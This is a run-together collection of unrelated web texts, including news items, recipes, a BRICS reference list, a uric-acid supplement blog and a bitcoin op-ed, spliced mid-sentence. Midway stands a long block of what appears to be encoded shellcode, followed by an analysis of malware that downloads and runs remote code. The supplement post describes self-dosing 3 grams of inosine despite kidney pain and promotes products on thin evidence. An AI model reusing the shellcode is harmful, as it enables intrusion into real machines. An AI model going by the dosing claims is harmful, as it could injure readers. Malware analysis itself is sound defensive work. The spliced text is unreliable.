This article has distinguished four major strategies of international engagement that are employed by the BRICS: issue leadership, region organizing, opportunity seeking and region mobilizing. The particular strategy(ies) these countries use to cement their rising economic position and to exert international influence are varied, and depend on their particular circumstances and national economic and political characteristics. I contend that this approach helps to move beyond the idiosyncrasies of each BRICS country, while also establishing a flexible tool for tracing forms of international power projection across different cases and time. This inbuilt flexibility provides a distinct advantage over identifying particular countries with a fixed role within the global order – as suggested by established classifications such as “great powers,” “regional powers,” “semi-peripheral countries,” or “anchor countries.”
References
Brysk, A. (2000) From Tribal Village to Global Village: Indian Rights and International Relations in Latin America. Stanford: Stanford University Press.
Carmody, P. (2012) Another BRIC in the Wall: South Africa’s Developmental Impact and Contradictory Rise in Africa and Beyond. European Journal of Development Research 24 (2): 223-241.
Castells, M. (1997), The Power of Identity. Malden, MA: Blackwell.
Cotula, L., Verneulen, S., Leonard R. and Keeley, J. (2009) Land grab or development opportunity? Agricultural investment and international land deals in Africa. London: FAO, IIED and IFAD.
Friedberg, A. L. (2005) The future of US-China relations: Is conflict inevitable? International Security 30(2): 7–45.
Held, D., McGrew, A., Goldblatt, D. and Perraton, J. (1999) Global transformations: politics, economics and culture. Cambridge: Polity.
Jordaan, E. (2012) South Africa, multilateralism, and the global politics of development. European Journal of Development Research 24 (2): 283-299.
Korzeniewicz, Roberto (2012). Trends in World Income Inequality and the ‘Emerging Middle’ European Journal of Development Research 24 (2): 205-222. https://doi.org/10.1057/ejdr.2012.2
Macfarlane, S. N. (2006) The ‘R’ in BRICs: is Russia an emerging power? International Affairs 82(1): 41-57.
Milanovic, B. (2010) The Haves and the Have-Nots: A Brief and Idiosyncratic History of Global Inequality. New York: Basic Books.
Narlikar, A. (2010) New Powers: How to become one and how to manage them. New York: Columbia University Press.
Ramo, J. C. (2004) The Beijing Consensus. London: The Foreign Policy Centre.
Schneider, B. R. (2004) Business politics and the State in twentieth-century Latin America. New York: Cambridge University Press.
Segal, G. (1999) Does China Matter? Foreign Affairs 78(5): 24–36.
Shafer, D. M. (1994) Winners and losers: How sectors shape the developmental prospects of states. Ithaca: Cornell University Press.
Soares de Lima, M. and Hirst, M. (2006) Brazil as an intermediate state and regional power: Action, choice and responsibilities. International Affairs 82(1): 21-40
Stuenkel, O. (2015) The BRICS and the Future of Global Order. Lanham: Lexington Books.
Tilly, C. (1998) Durable Inequalities. Berkeley, CA: University of California Press.
vom Hau, M., Scott, J. & Hulme, D.(2012) Beyond the BRICs: Alternative Strategies of Influence in the Global Politics of Development. European Journal of Development Research 24 (2): 187-204. https://doi.org/10.1057/ejdr.2012.6I don’t know about you, but when I started eating healthy, I had the palette of an unsophisticated six-year-old.
I had never even heard of half of the vegetables I found on my first trip to Whole Foods and it took months for someone to instruct me on the proper pronunciation of quinoa.
However, I’ve come a long way since then and now make a point to try to incorporate a new food into my diet every month. It isn’t hard to do since all my prior experiences involve corn, taters and lots of butter.
Now that I’m a little further along in my healthy eating journey, I may it a habit to try new foods as often as possible. This week for Weird Food Wednesday, I’m cooking with turmeric for the first time.
Turmeric is similar to ginger in the sense that it comes in both a root form and a ground powder form, although the roots may be a little more difficult to find unless you’re shopping in a health food store.
Turmeric hails from the southwest and central Asia regions and is used in many different Asian and Middle Eastern countries as a spice staple. It’s also traditional been used for medicinal purposes in these cultures and is a well-known anti-inflammatory.
Turmeric is well known for it’s traditional coloring — it’s how the mustard in your fridge is such a pretty shade of yellow — and is a primary ingredient in things like curry and yellow rice.
We put together four super simple recipes for you to try turmeric own your own.
Indian Egg Scramble
Ingredients
4 eggs
1 teaspoon of turmeric
1 tablespoon of capers
1 tablespoon of cilantro
1/4 teaspoon of salt
1/4 teaspoon of pepper
1/2 teaspoon of paprika
Directions
Combine all ingredients in a non-stick skillet over medium heat. Stir frequently until the eggs are cooked all the way through and serve.
This recipe is Whole30 and Paleo friendly.
Spicy Broth
If you’re anything like me, allergy season is kicking your tail right now. This broth is just the thing to clear up sinus pressure and to pull out the stopper so to speak on your poor, pounding head. It has just enough heat to give it a kick and is super easy on the tummy.
Ingredients
1 container of chicken broth
1 teaspoon of crushed red pepper flakes
3 tablespoons of cilantro
Juice from one lime
4 slices of lime
1 bunch of spinach
Directions
Combine your chicken broth, red pepper flakes, cilantro, lime juice and lime slices in a boiler over high heat. Bring the broth to a boil before reducing the heat and allowing it to simmer for five to ten minutes. Remove the broth from the heat and add your bunch of spinach to the top before serving.
This recipe is Whole30 and Paleo friendly.
Honey and Turmeric Glazed Wings
Ingredients
1 pound of chicken wings
2 tablespoons of honey
1 tablespoon of turmeric
1 tablespoon of crushed rosemary
Directions
Preheat your oven to 350 degrees F. In a small container, combine honey, turmeric and rosemary. Prepare your chicken wings by cutting the excess bones and skin off and place them on a non-stick baking sheet. Coat them evenly on one side with the mixture and place in the oven for 15 minutes. After fifteen minutes, pull the wings out and flip them and coat the other side with the honey/turmeric mixture before placing them back in the oven. Cook for another fifteen minutes and enjoy.
This recipe is Paleo friendly.
Butter Roasted Veggies
It’s hard to go wrong with roasted vegetables. In fact, anytime I try a new vegetable or a new spice, I start off using the oven-roasted method. It provides a rich flavor without being overwhelming and since I’m basically a rabbit, I’m almost always happy with the results
Ingredients
2 beets
3 carrots
1 teaspoon of turmeric
1 tablespoon of ghee
Directions
Preheat your oven to 350 degrees F. Peel and slice your carrots and beets. Bonus points if you shave off half a knuckle like I did. In a microwave safe dish, melt your ghee. Put your carrots and beets on a baking sheet. Combine the ghee with your turmeric and use a brush to apply the mixture to the vegetables. Cook in the oven for 25 minutes and enjoy! Beets have such a strong, sweet flavor that the turmeric is almost undetectable, but you’re still reaping the health benefits!
This recipe is Whole30, Paleo and AIP friendly.
For more Weird Food Wednesdays, click here.Posted on
“Stormin” Norman Parke (20-3-1) will be back in action on May 30th in Brazil on the UFC Fight Night 67 card which will be headlined by Carlos Condit vs. Thiago Alves.
His opponent will be the undefeated Gilbert Burns (10-0). The Brazilian made his UFC debut last July and has wracked off 3 straight victories, including two submission wins in his last two fights.
This will be the first fight back for Norman Parke since his disappointing defeat to long-time UFC fighter Gleison Tibau in Boston earlier this year.
The Next Gen NI fighter lost a very close split decision and is very excited to get back in there and get back to winning ways. Previously, Parke was undefeated in 11 fights, including 5 in the UFC.
This will be Parke’s second visit to Brazil. He controversially drew with TUF Brazil winner Leonardo Santos, a decision that was universally met with criticism.New York City Mayor Bill de Blasio (L) holds a news conference outside the U.S. Capitol in Washington May 12, 2015. REUTERS/Jonathan Ernst
NEW YORK (Reuters) - New York will become one of the first major U.S. cities to expand low-cost healthcare to uninsured immigrants regardless of their legal status under a pilot program to launch next spring, Mayor Bill de Blasio said on Thursday.
The pilot, called Direct Access, will initially apply to 1,000 immigrants. Some of them are in the country legally but still ineligible for support under the Patient Protection and Affordable Care Act, popularly known as Obamacare. The program is expected to expand in the following years.
“The City’s actions today are the first step in our efforts to develop a fully inclusive health care system that protects all of our residents, regardless of immigration status,” Nisha Agarwal, commissioner of the Mayor’s Office of Immigrant Affairs, said in a statement.
New York, with the largest foreign-born population of any U.S. city, is following similar immigrant healthcare models enacted in San Francisco and Los Angeles.
Under the Direct Access program, which will cost $6 million to launch, the city will create a network of primary and preventative healthcare providers specifically for uninsured and low-income immigrants.
Many of the city’s uninsured immigrants currently seek healthcare at an emergency facility and have access to little preventative care, a spokeswoman with the mayor’s office said. Many of them lack primary doctors.
Immigrants in New York have been discouraged from seeking primary or preventative healthcare for reasons including costly services and language barriers, according to a de Blasio-appointed task force.
In an effort to remove some of the barriers, the city’s immigrant-focused healthcare network will also provide information in more languages and conduct public outreach and education on the new program to immigrants.JEFFERSON PARK — A new mural in Jefferson Park is designed to inspire a love of science in Beaubien Elementary School students, organizers said.
Dubbed "Re:Thinking," the mural was spurred by a request from the parent of a Beaubien Elementary School student who wanted a mural to make the concepts of science, technology, engineering and mathematics come alive, said Arts Alive Chicago President Cyd Smillie.
The north wall of the underpass at Ainslie and Avondale avenues features more than 30 math- and- science inspired images, Smillie said. Many students walk to school via the underpass, as Metra trains rumble above them.
The entire mural cannot be be viewed at one time without moving and as the ideas expand from the source — the human brain — they go off into the great unknown of space and the digital world, Smillie said.
The mural, which cost $1,500, was funded by donations to Arts Alive Chicago, which recently changed its name from Arts Alive 45 to better reflect its citywide mission as a nonprofit public art group.
Originally, Arts Alive had planned to partner with the Rabb Family Foundation to fund the mural.
There was not enough money left for the mural after Arts Alive did preparatory work on the Rabb foundation's mural honoring internationally acclaimed artist and Chicago native Ed Paschke at Lawrence and Avondale avenues, Smillie said.
Arts Alive bowed out of the project when the concept of the mural was changed, Smillie said at the time.
The Rabb Family Foundation is funding the Ed Paschke Art Center, which is set to open June 22.
The artists who helped complete the mural were Smillie; Elvis Rodriguez; Elli Given; Abigail Leja; Cathy, Lola and Stella Marchese; and Jill Arena, the wife of Ald. John Arena (45th).
For more neighborhood news, listen to DNAinfo Radio here:DUBAI (Reuters) - Bahrain’s public prosecutor charged two leaders of the country’s banned main opposition party of spying for Qatar on Wednesday, months after cutting ties with the neighboring Gulf monarchy amid a regional diplomatic row.
Sheikh Ali Salman, secretary general of al-Wefaq party, and Sheikh Hassan Sultan are accused of colluding with Qatar to carry out “hostile acts” in Bahrain and damage its national interests and prestige, according to a statement on state news agency BNA.
The men met Qatari officials as well as affiliated agents inside Lebanese Shi’ite militia Hezbollah, the statement said. It accused them of transferring confidential information and receiving financial support from Qatar.
The prosecutor ordered that both men be taken into custody.
Salman’s wife Alya Radhi wrote on Twitter that she had spoken by phone with her husband, who denied all charges. There was no immediate comment from al-Wefaq.
Salman is already serving a four-year prison sentence for inciting hatred and insulting the interior ministry, after he was arrested in 2015.
He was summoned and interrogated about the new accusations in the presence of his lawyer, the statement said.
It did not elaborate on whether Sultan was detained.
Bahrain, Saudi Arabia, the United Arab Emirates and Egypt cut diplomatic, transport and trade ties with Qatar in June, accusing it of financing terrorism.
Bahrain and close ally Saudi Arabia believe Qatar is fomenting unrest in the island kingdom by supporting protests and sporadic attacks against security forces, backed by arch-rival Iran.
Both countries deny the charges and say the boycott is an attempt to rein in support for reform in Bahrain.
The Sunni-ruled kingdom, where the U.S. Fifth Fleet is based, has been on edge since 2011 “Arab Spring” protests led by its Shi’ite majority were put down by the government with the help of fellow Gulf Arab states.
The government banned al-Wefaq and revoked the citizenship of the country’s top Shi’ite Muslim cleric as part of a crackdown on the opposition.
Human rights groups accuse Bahrain of clamping down on dissent and violently cracking down on protests, charges the government rejects.Uric Acid: Part 1 of a 3-Part Series
In 1904, Havelock Ellis found in his “A Study of British Genius” that there was an unusually high rate of gout among eminent men in his study. Gout is associated with higher volumes of uric acid (or urate) in the blood. He, therefore, suggested that it might have something to do with it. (R)
Later investigators have examined this relationship, and there is indeed a correlation. A review found only a slight correlation between IQ and uric acid. However, there was a stronger correlation between uric acid and scholastic achievement, even after controlling for IQ. (R)
Another study found a correlation (+.37) between uric acid and publication rates of university professors. This is extremely significant for just one measure tested. Insane. (R)
Uric acid has a similar chemical structure to that of caffeine, and can maybe act as a natural stimulant. (R)
Other Benefits of Uric Acid
Uric acid levels correlate with longevity in monkeys and animals. This is presumably because of urate’s antioxidant properties. (R)
Uric acid levels are much lower in people with Multiple Sclerosis (MS) and a study with 11 people found correcting these levels are therapeutic. (R)
In fact, it prevented the progression of MS in all 11 patients tested and even improved the symptoms of some patients. (R)
Like MS, low uric acid also correlates with Parkinson’s, Alzheimer’s and Huntington’s. (R, R2) Clinical trials are underway to determine if raising urate levels will slow the disease in people. Animal models have
Uric acid reduced Th1 immune dominance in people with MS (R), which is good for me.
As a natural antioxidant, urate provides up to 60% of the antioxidant capacity in human blood. It also provides protection from the free radicals that it doesn’t neutralize. (R)
However, recent studies indicate that these mechanisms couldn’t explain all of its beneficial effects in the brain. (R)
Studies have found that urate was neuroprotective by protecting neurons from glutamate-induced toxicity, a central cause of neuron degeneration. (R)
In mice with autoimmune conditions, urate was beneficial and increased the survival rate. (R)
On a cautionary note, uric acid can increase Th17 inflammation if inflammation is present (IL-1b, IL-18). (R) It can be inflammatory in general if you have too much. (R)
Too high or too low levels of uric acid are not good. Too low leads to oxidative stress, but too high can also lead to inflammation, gout and kidney stones. (R)
This is why it’s important to measure your Uric acid levels before you embark on a journey to increase it. In fact, if you want to increase/decrease your uric acid levels, it’s best to analyze them with Lab Test Analyzer. This tool will compute, based on this and your other results, the best steps you can take that will bring you back to optimal health.
(R)
How too much uric acid causes inflammation:
How to Increase Uric Acid
Zinc elevates uric acid if you’re deficient (R).
Animal products increase uric acid in general (R). Fructose can also increase uric acid (R), but I don’t know at what dosage or if it does in humans.
Dairy and maybe calcium lower uric acid levels, which explains why vegans have higher levels than omnivores. Soy might also increase urate levels. (R)
Estrogen increases uric acid excretion, which explains why men have higher levels than women. (R)
In general, diet was more of a factor in men in its ability to influence urate levels rather than women. (R)
Inosine, found in liver and fish, is the most powerful way to increase uric acid levels. (R) This is what’s used in studies with MS and Parkinson’s.
Inosine Effects
Inosine has been shown to have antidepressant effects in mice through increasing brain growth (via BDNF, MAPK, adenosine antagonism).
Inosine increases RNA and DNA production and blood oxygen carrying capacity, which preserves ATP levels.
In a clinical trial with MS patients, Inosine more than doubled uric acid levels (increased from 3.9 to 8.3).
It decreased Nitrotyrosine, a marker of cell damage and inflammation, by more than half (from 73 to 32). (R)
It increased IL-10 and IL-13, which are Th2 cytokines. IL-10 is an anti-inflammatory cytokine. Mac-1 is a marker of inflammation and it more than halved (from 2.7 to 1.2).
My Experience With Inosine: It’s Amazing
For my first dosage, I took 3 grams in one shot, as an experimental dosage.
For me, it certainly increases cognitive performance and is wakeful promoting. It works.
However, it also caused some slight pain in random places, one of which was my kidneys. Kidney stone formation is very common with inosine supplementation.
I’m still going to include 500mg 1X a day and see how that works in the long term.
Caution
There are some negatives to uric acid/inosine such as gout and kidney stones, so be careful. In studies with MS and Parkinson’s, kidney stones were quite common from inosine treatment (up to 1/4 people got it).
However, in the studies that were in a controlled environment, the patients were properly hydrated and none of them got kidney stones. (R)
You need to drink a ton of water (over a gallon) and take potassium citrate to prevent kidney stones.
Uric acid is also capable of binding iron (R), so be careful if you’re anemic.
If you need to supplement with calcium because you’re not getting enough from your diet, it’s better to use the citrate form. I also recommend magnesium citrate.
I’m still taking a risk, but I like the effect enough that it’s worth it for me.
Increasing Inosine
Parathyroid hormone increases uric acid (R)
Irregular Uric Acid Levels?
If you have not yet tested your uric acid levels, I recommend that you ask your doctor for it. If you already have your blood test results and you’re not sure what to make of them, you need to check out Lab Test Analyzer. It does all the heavy lifting for you. No need to do thousands of hours of research on what to make of your various blood tests. Lab Test Analyzer gives you up-to-date scientific information about your lab results. In addition, you will get both lifestyle tips and natural solutions to help you optimize your health. You can also rely on our science-based Optimal Ranges to prevent potential health issues and maximize your overall wellbeing.
Uric Acid on SelfDecode
Genes that Control Uric Acid Levels
Uric acid levels are influenced by your genes. If you’ve gotten your genes sequenced, SelfDecode can help you determine if your levels are high or low as a result of your genes, and then pinpoint what you can do about it.
If you’re sick and tired of guessing about your health, SelfDecode can help you find specific answers that conventional doctors/diagnostics may never uncover.
The SLC2A9 gene encodes the glucose transporter 9 protein (GLUT4). It transports fructose and aids in the reabsorption of filtered urate by proximal tubules in the kidney. Loss-of-function mutations in this gene can cause hereditary hypouricemia due to reduced urate absorption (R).
RS10017674 RS10018204 RS1014290 – The “G” allele is associated with a lower age at onset of Parkinson’s disease (R).Individuals with the TT genotype had higher blood uric acid levels after increasing their consumption of soft drinks (R). The GG genotype is associated with significantly higher serum uric acid levels when compared with the TT/TG genotypes (R). RS1079128 RS10805346 RS11722228– The “T” allele is linked to higher blood uric acid levels in females compared to males (R). RS12498150 RS12498742 – Each copy of the minor “G” allele reduces the risk of gout (R). RS12498956 RS13103879 RS13129697 – The “C” allele is linked to lower blood urate levels in the Croation population (R). RS13131257 – The “T” allele is associated with lower blood uric acid levels in Mexican Americans (R). RS13328050 RS16868246 RS16890979 RS17185835 RS17185870 RS1850744 RS2018643 RS3733585 – The “G” allele is associated with cleft palate (R). RS3733591 -The “C” allele increases the risk of severe gout for some populations (R). RS3775948 -The “G” allele is associated with an increased risk of gout (R). RS4311316 RS4312757 RS4314284 RS4339211 RS4455410 RS4473653 RS4475146 – The “A” allele is associated with gout (R). RS4481233 RS4519796 RS4580649 RS4621431 RS6449157 RS6449159 RS6449171 RS6449172 RS6449174 RS6449176 RS6449178 RS6449201 RS6449213 -This variant is associated with higher blood urate levels (R). RS6814664 RS6815001 RS6823361 RS6832439 -The “A” allele is associated with decreasing blood uric acid levels (R). RS6834893 RS6836706 RS6838021 RS6839490 RS6843873 RS6844316 RS6849729 RS6852441 RS6855911 -The “G” allele is associated with less uric acid (R). RS733175 RS734553 – The “T” allele is associated with gout (R). RS737267 – The GG genotype is associated with 1.25 times higher risk of gout (R). RS7376948 RS7378305 RS7378340 RS7435196 RS7442295 – The more common “A” allele is associated with higher blood urate levels and hyperuricemia (R). RS7658170 RS7671266 RS7672947 RS7676733 RS7677710 RS7680126 RS7686538 RS938554 RS9993410 RS9994266
This gene encodes a multifunctional transporter that belongs to the ATP-binding cassette family and controls the export of various compounds including urate using ATP (R).
RS13120400 RS1481012 – The “A” allele is associated with an increased risk of gout (R). Heterozygous carriers of the minor allele “G” have a lower risk of colorectal cancer (R). RS17731538 RS2199936 – The “A” allele is associated with incident gout (R). RS2231137 -The T” (minor) allele is associated with: Increased activity of the drug Pravastatin in patients being treated for hyperlipidemia (R).
Increased risk of tophaceous gout (R). This results in joint pain and arthritis.
Possible increase in drug-induced toxicity (R).
An increased survival rate in patients undergoing chemotherapy to treat Acute Myeloid Leukemia (R).
Increased chance of toxic response following chemotherapy to treat Acute Myeloid Leukemia (R). The C (major) allele is associated with: Higher resistance to imatinib therapy in chronic myeloid leukemia patients (CC) (R). RS2231142 -The T (minor) allele is associated with: Increased risk of gout (R). Frequent diarrhea in lung cancer patients taking gefitinib (R). Heightened response to statins (R). RS2622604 -The T (minor) allele is associated with: Increased risk of developing myelosuppression and diarrhea in colorectal and lung cancer subjects being treated with irinotecan (R). This is because Irinotecan can be toxic to cells if it is not removed properly. RS2728124 RS2728125 -The “G” allele is associated with gout (R). RS3114018 RS4148152 RS4148155 RS72552713 -The “A” allele is associated with an increased risk of gout (R).
This gene encodes a protein that is a member of the organic anion transporter (OAT) family, and it transports urate. Found in the epithelial cells of the proximal tubule of the kidney, this protein helps control the amount of urate present in the blood. This gene is thought to be the major luminal pathway for urate reabsorption in humans and mutations have been associated with raised blood urate levels and decreased fractional urate excretion (R).
RS12800450 -The “T” allele is associated with reduced blood urate levels (R). RS505802 – The “A” allele is associated with gout arthritis in Han Chinese males (R).
The gene encodes a protein that is involved in the transport and excretion of organic anions. It also aids in the reabsorption of uric acid on the apical membrane of the proximal tubule in the kidneys (R, R2).
RS17300741 – The minor “G” allele is associated with lower blood uric acid levels in women (R).
This gene encodes a sodium-dependent transporter that helps transport glucose and other sugars, bile salts and organic acids, metal ions and amine compounds, as well as urate. It is also associated with a higher risk of gout and hyperuricemia (R).
RS1165196-The allele “C” is associated with an increased risk of gout in patients with normal uric acid excretion (R). It is also associated with a low-/high-density lipoprotein cholesterol ratio (R). RS1183201 -The minor “A” allele is associated with a reduced risk of gout in European and western Polynesian populations (R).
The gene encodes a voltage-driven transporter that transports intracellular urate and organic anions from the blood into kidney tubule cells (R).
RS1165205 -The “A” allele is associated with higher blood uric acid levels (R). RS13198474 – The “G” allele is associated with schizophrenia (R). RS1408272 -The “G” allele is associated with mean corpuscular hemoglobin (R). RS548987 The “C” is linked to homocysteine concentrations (R). RS6910741 -The “T” allele is associated with mean arterial pressure (R).
This gene encodes uromodulin, a protein that is highly abundant in urine under physiological conditions. Defects in this gene are associated with various kidney diseases including glomerulocystic kidney disease with hyperuricemia (R).
RS12444268 -The “A” allele linked to Type 1 Diabetes (R). RS12917707 – The minor “T” allele is associated with a lower risk of chronic kidney diseases (R). RS13333226 -The minor “G” allele is associated with a lower risk of hypertension (R). RS4293393 – The “T” allele is associated with kidney stones and chronic kidney disease. This SNP may also be associated with susceptibility to gout, hypertension, and diabetes (R).
HPRT1 Gene- The Enzyme That Recycles Purines:
This gene encodes hypoxanthine phosphoribosyltransferase 1, an enzyme that allows cells to recycle purines. Mutations in this gene can result in gout or Lesch-Nyhan syndrome (R).
PRPS1 Gene- The Enzyme That Helps Make Purines:
The PRPS1 gene encodes an enzyme called phosphoribosyl pyrophosphate synthetase 1, or PRPP synthetase 1. This enzyme helps produce phosphoribosyl pyrophosphate (PRPP), which is involved in making purine and pyrimidine nucleotides (R).
Buy Inosine Capsules[T]he regime of diversions, surrogates, and tranquilizers that pass for today’s ‘distractions’ and ‘amusements’ does not yet allow the modern woman to foresee the crisis that awaits her when she recognizes how meaningless are those male occupations for which she has fought, when the illusions and the euphoria of her conquests vanish, and when she realizes that, given the climate of dissolution, family and children can no longer give her a sense of satisfaction in life. ~Julius Evola, Ride the Tiger
I miss men. I miss my grandfather. He was a man. And he wasn’t sorry for being a man. He was never told to be sorry for being a man, or acting like one. He never pondered the “social constructs” of gender. He liked Lawrence Welk, Archie Bunker, knives, guns, boxing. He welded for a living. He wore flannel. He killed animals and ate them, fed them to his family. He didn’t pop his collar. He used Lava soap to rip the grease off his hands after doing the work men did. For him and his generation, life was not a sterile, over-analyzed bore.
Safety killed us. Such are the heights of the giants’ shoulders we stand on, such were their labors, such were their sacrifices, we were made too safe, too comfortable. We came to hate our betters, just as the Helots hated their Spartan masters. And so we dived into every fantasy, every unrealism, believing the opposite of reality as a sort of revolt. We became lazy, ungrateful. We enjoyed the nectar of being critical, and so criticized to disintegration those who made our free |
ZaFpyY7ioyEJKcoQKTqHIRqPQ3Z332qf1CXoK31s05Pv3V0cX0WNioo9VIoJuxk78SivQyBcbu830drY0LDcbv2qB0Qbr60rHXkBu6NGKyo8ULIkv0jdPCk58K0GCePWpNi9p1zWtpPPj7o1FcXt5qVOnk69ozuEaYof7RwpWf7V6bHtmdFuHsKioN5ouYPpugjRkqdVpJK9EZKSyxhLsIoKOkO6O3tPn1DRv5P30e8zPoEORCfyojucZw03XePdP7p5PSXEPS0705PrwPhSh94f3kUkOIEmCV3RsK9IwF7rHC07P5P5PF3aFu8b2LVOyhb9o9EoukpadJmLKC7UQO3lEo0BUxerxiSjH61IoIoio5atxudTn6XVRfNVQGIFNea6PgCs0AAPYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLJHK9C0c0c03Pk9IuP18Rpdnkv2dpNkcb6lnkrrR4NkcBthFoMgszDfeaiodqo0LlGLsQsLVbfLwPIQHOvm5Qo7jBhpRrbwnkf2DPlKqR7LvaN0NkG0CHOu9PrTaZ5QHPpPnk1X7hnk1H10C1N3xc7L3ylKgDLKEQN6tq9ouaIPllZaHOfmUQKwVXiprUZTuScMYh7KQmQ40um22xlKBxFD5QYCe6nkvlbkNk2x7lFaJsNkfdlK31jpMYctutfDQKCkU1f9rzsaKOM0v8so2zlKB2ZKlF3mBHRNQurTePCXt7CYBNqyV42HRlcGfFs7kOhU01iov7Rwf7bwRJuPv4QxwJaFqimwyoXUHkRkckuahIpQ0Q1z5Sv12qSX2peP5P5PaCv0PhcgNiOoZfioN5xkdtqI6QhRf2E8WpTBa0nd3b0Rf2pQF2PPe8ZKcedngKiojumY9VPjTP3kUaIoV7CgV7cgaFBHFMs6eHSKioXUNekpSEGjBkSDfp8kM9xk1YM8XGkOkOioDoPNPi5gPnWpGpe88pX5mrPVIoHU2JQPph7pTPwpwp585Pc0cps0QGU8rxOTqCkUYoxUNssc0SmYiwPWbHc010wpC0V3pV58Frz6K9kRIoXUOuiPPtJmLKdGvajcNekpD5herxYSm82EyoYoioTqGHFTdnGH4rDnUagIvNeatpVSePAAIt first checks if the passed days of the current year reached the number 100. If so, jqs.com with the first shellcode is started and then Symantec.com sleeps for a minute. Then a file named "jar_cache879799398409779005999.tmp" is searched in Temp folder and gets deleted if found. I don't know why this "Java file" is searched and deleted, but it is probably the file that gets downloaded or dropped from the downloaded file. Another possibility is that the malware is launched by a Java Applet or a Java exploit. If this Java file isn't found, jqs.com is started with the second shellcode. Then again it sleeps for a minute, searches for the same "Java file" and deletes it.There are two polish words as function names in the script ("" = "launch" and "" = "cleanup"). Together with the picture (see above), I think the malware's creator is from poland or polish speaking.This file was also packed with UPX. This file launches one of the above shellcodes within a new Thread to connect to server at. It does this by allocating a memory buffer (VirtualAlloc()) and storing the passed parameter (shellcode) into it. Then the pointer of the buffer is passed as lpParameter to the CreateThread() API function. The new Thread uses the pointer to call the shellcode (call eax).The shell dynamically resolves some Windows API functions to call them afterwards. It requests data from the server (InternetReadFile()), to copy it into a buffer (VirtualAlloc()) and passing execution to it. As mentioned at the beginning, the server isn't responding, so it's not possible to get more information of the downloaded data (another file or shellcode).Now I need a Re-Neducation :-)Giving Mini Burgers To Mice Reveals The Good And Bad Of Cooking Meat
Ah, to be a Harvard laboratory mouse. The pay stinks, but the food is delish! Researchers at the venerable school have been serving lab mice tiny organic burgers made with meat from Savenor's Market, where Julia Child bought her steaks.
"It came out looking like a beautiful little mini hamburger," says Rachel Carmody, a graduate student in evolutionary biology at Harvard who cooked up the mini-burgers in Petri dishes.
This feast for furry critters was all in the name of science, of course. Carmody and her colleagues served up the mini burgers as part of an experiment to determine the differences in energy provided by cooked versus raw foods.
It turns out that cooked meat delivers more energy than the raw version — which may have given ancient humans an evolutionary advantage. But the extra energy from cooked food may now translate into unwanted pounds because nutrition labels don't reflect the fact that we process cooked food more efficiently.
The mice loved the mini-burgers. But they also appeared to enjoy eating raw cubed meat, and meat that was pounded to make it easier to digest. And they snarfed down raw, pounded and cooked sweet potatoes as well.
The mice lost weight when they ate only meat, because mammals aren't very good at metabolizing all-protein diets. But they got more energy out of the cooked meat. They maintained body weight while eating cooked sweet potatoes, but lost 10 to 15 percent of their body weight in just four days when chomping them raw.
"In both foods, cooking improved the energetic value of the diet," Carmody tells The Salt. She says hers is the first study to measure the net energy gain in cooking meat. The study appears online in this week's Proceedings of the National Academy of Sciences.
The cooked dishes may also have tasted better. At the beginning of the experiment, half the mice preferred raw foods, while half went for cooked. At the end, all 17 mice preferred cooked.
Though these experiments were done in mice, they support recent thinking on human evolution, too. Anthropologists increasingly believe that when human ancestors figured out how to cook meat, they earned a survival advantage.
Early humans ate raw food like tubers, roots, and berries. It took a big gut and a lot of energy to digest that food, and the brain lost out.
Eating meat, which is packed with fat and protein, helped fuel development of humans' large, complex brains, some anthropologists think. Cooking meat and vegetables made proteins and starches easier to digest, delivering even more energy. NPR's Chris Joyce tucked into a steak last year to report on how meat and cooking may have fueled human evolution.
It looks like that still holds true today, and not just for mice. Research in humans has found that people gain more weight when they're eating more meat, including chicken.
Carmody's study suggests that people who might want to watch their energy intake aren't getting much help from nutrition labels, which underestimate the calories in cooked food. Late last year, the federal government finally got around to requiring nutrition labeling on meat sold in grocery stores. But the labels won't be required until 2012. And the new labels won't take into account the increased energy availability in processed, cooked meats.
So modern-day omnivores can rejoice in the fact that a simple hamburger is a beautifully engineered energy delivery system. But they should also remember that those little Harvard mice grew plump dining on tiny gourmet burgers from Julia Childs's butcher. "The mice were eating meat from Savenor's," Carmody says, "while I was eating meat from the local bodega."Editor’s note: Ken Miller is the COO of Gem. Previously he was VP of risk management at PayPal executive and adviser to Square.
In the late 90s, as personal computers and the Internet were increasingly finding their way into American homes, there were those who either didn’t recognize the disruptive power or potential they would have, or they felt threatened by their emergence (e.g “I’ll never quit reading the newspaper!”).
We saw this again in the early 2000s, as companies like PayPal emerged and forever changed our willingness to pay people over the Internet – including paying complete strangers. As PayPal quickly became ubiquitous and was changing the payments industry and commerce, most of the big banks and credit card associations stood pat and instead chose to fire off public lasers at PayPal, citing security, protections and regulatory hurdles as reasons PayPal would falter and was a risky proposition.
Unfortunately for them, what they should have been doing during that time was innovating and improving customers’ lives; doing so could have very likely eliminated the need for a PayPal to even exist.
Today we’re seeing this story again. Same movie, same suit-and-tie wardrobe, same dialogue, and what appears to be a fast track to the same ending. Western Union, which discontinued the use of telegrams in 2006, has fired several shots in recent weeks aimed squarely at bitcoin specifically and digital currency generally.
It started with its CIO saying that bitcoin wasn’t trustworthy and was ‘a solution looking for a problem to solve,’ and was soon followed by the filing of legal claims around copyright infringement after a spoof ad went viral on Facebook poking fun at the cost of remitting money through Western Union versus bitcoin.
Most recently, details of Western Union’s feedback on New York’s proposed BitLicense regulation were revealed, wherein Western Union insisted bitcoin be regulated more, while in the same breath requesting “could you please also leave us alone on some stuff?”
There are many problems for which bitcoin technology presents a solution, but one that quickly comes to mind is the over $5 billion annually that Western Union takes from individuals trying to send remittance funds to family members in need both at home and in other parts of the world. Fees charged to remit funds tend to be inconsistent and exploitive, ranging anywhere from 5-28 percent depending on the city/country pairing.
Given the inherent near-zero cost of bitcoin, if it never had any other application in the world other than to eliminate these double-digit fees and get most of that $5 billion in the hands of people whose lives would be dramatically improved, then that’s a problem worth eradicating with this solution.
But when you’re a publicly traded company, with flat growth and shareholder pressures, you often do and say things that are, at best, naïve in terms of where the world is heading, and, at worst, conflict with the best interest of your organization and customers. A great example of this is Blockbuster in the 2000s, which frequently liked to sound the alarm on why video streaming was a niche business, and even spurned the opportunity to acquire Netflix for $50 million.
Today, Netflix has a market cap of $21 billion and Blockbuster has gone out of business, trying to take the Dish Network to the bottom of the ocean with it. Blockbuster clearly overshot how much we would pine for the days of racing in the car at 11:56 p.m. in our pajamas to reach the drop-off bin and avoid late fees.
